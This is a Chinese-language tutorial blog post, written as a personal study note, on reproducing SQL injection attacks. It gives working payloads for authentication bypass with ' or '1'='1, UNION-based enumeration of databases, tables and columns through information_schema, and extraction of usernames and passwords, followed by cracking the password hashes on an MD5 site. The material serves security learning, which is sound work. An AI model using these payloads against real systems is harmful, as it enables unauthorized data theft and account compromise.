网络安全之SQL注入漏洞复现(上篇)(技术进阶)

目录

一,认识SQL注入

二,SQL注入会导致什么呢?

三,SQL注入思想与步骤

四,实战演练

【1】实例1:

【2】实例2:

【3】实例3:


一,认识SQL注入

SQL注入(SQL Injection)是一种常见的网络攻击手段,是因为应用程序对用户输入的数据验证不到位造成的。攻击者在应用程序的输入字段中插入恶意的SQL代码,在应用程序未授权的情况下执行任意的SQL语句。

二,SQL注入会导致什么呢?

1,数据泄露:我们的账号密码,个人身份信息的等等

2,数据篡改:篡改商品的价格,学生成绩等等

3,数据删除:删除某些数据

4,拒绝服务攻击(DoS):利用SQL注入制作大量查询和复杂的操作导致系统资源耗尽

5,提权攻击:利用SQL注入提升权限执行系统命令等

6,绕过身份验证:利用SQL注入绕过身份验证使得攻击者管理员特权身份

三,SQL注入思想与步骤

1,找到注入点

2,获取对方数据库名字

3,获取对方数据库中有那些表

4,获取表中有哪些字段

5,获取字段表中的数据

四,实战演练

【1】实例1:

1,找到注入点

登录后发现注入点

可以得知账号和密码都可以注入

2,这里可以通过闭合sql语句在url地址栏注入语句

sql注入代码:

' or  '1'='1

所以就得到了

这条语句的意思是不管账号密码对不对后面多了个 or '1'='1'这条语句条件为真,所以把user表给查询出来,得到数据。

【2】实例2:

1,找到注入点

2,老样子闭合注入

sql注入代码:

' or '1'='1

得到news表中数据

3,获取数据库的名字

使用union注入

首先使用union之前来了解一下什么是union和注意的事项

【1】union用于合并两个或多个select语句的结果

【2】使用union两个select的列的数量和数据类型一定要相同

例如:

user表:

user2表:

如果列数不相同会出现如下的错误:

我们这个实例中获取数据库名字可以用:

select *from user date='注入点' 
union
select database(),'','',' //这里对应user列的数量

这里浅谈一下information_schema数据库吧!下面用的到

【1】information_schema是mysql中的一个特殊的数据库它里面包含了许多的表例如:

1,TABLES:里面包含了所有的数据库名和表名。

2,COLUMNS:里面包含了所有的数据库名、表名、字段名。

3,SCHEMATA:里面包含了所有的数据库名。

4,获取game数据库中有那些表

那么如何注入呢?

【1】这个代码的意思是从information_schema数据库中的TABLES表中筛选出game数据库中的表名。

【2】又因为要与news的列对齐,所以要将table_name改为group_concat(table_name),

group_concat()的作用是将多行数据合并为一行。

【3】在url地址栏中的date=后面接上:

' union  select (select group_concat(table_name) from information_schema.`TABLES` where  table_schema='game') ,'','','

得到game数据库中的表名

5,获取game数据库中user表中有那些字段

【1】执行语句

select
	COLUMN_name 
from
	information_schema.`COLUMNS` 
where
	table_schema = 'game' 
	and table_name = 'user'

这段代码的意思是:从information_schema数据库中的COLUMNS表里面去找数据库名字是game并且表名是user的字段

得到结果:

【2】又因为要与news的列对齐,所以要将column_name改为group_concat(column_name)

group_concat()的作用是将多行数据合并为一行。

【3】在url地址栏中的date=后面接上:

' union select (group_concat(COLUMN_name)  from  information_schema.`COLUMNS`  where   table_schema = 'game'    and table_name = 'user'),'','','

得到game数据库中user表中的字段

6,拿到字段后看里面有那些数据

【1】在url地址栏中的date=后面接上:

' union select (select group_concat(username) from user where '1'='1'),'','','

【2】在url地址栏中的date=后面接上:

' union select (select group_concat(password) from user where '1'='1'),'','','

【3】实例3:

1,点击进入找注入点

2,通过下面的数据可以猜到sql语句大概是:select *from 表名 where 字段=?

3,我咋知道它是注入点的呢?

【1】这里数据库对“狗蛋”进行了查询,因为我们的表中没有“狗蛋”所以返回了那串英文,所以说明这里是一个注入点

4,判断这个表中有几列(多少个字段)

【1】通过order by来判断

【2】order by是排序语句。

例如:order by 4

这里它基于列进行排序,这里是5时它就报错了,在4时没有报错,由此可以得出结论这个表有4列。

5,使用union找注入点(union联合两个select语句输出结果,上面提到了忘记了可以去看看)

【1】url地址栏中使用:

id=3 union select 1,2,3,4

【2】通过找到的注入点获取数据库的名字和版本

sql注入代码:

id=3 union select 1,database(),'',version()


 

【3】如何知道对方都有那些数据库呢?

sql注入代码:

id=3 select  union  select 1,2,3,(select group_concat(schema_name) from information_schema.schemata)

 【4】查询数据库中有那些表

sql注入代码:

id=3 union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema='jrlt')

【5】查询表中有那些字段

sql注入代码

id=3 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='jrlt' and table_name='users'

【6】通过字段拿到里面的数据

sql注入代码:

id=3 union select 1, 2,3,name from users

sql注入代码:

id=3 union select 1, 2,3,password from users

复制去解密网站去解码:md5在线解密破解,md5解密加密 (cmd5.com)

以上就是我的学习笔记了,谢谢观看!!

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

戰、天下

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值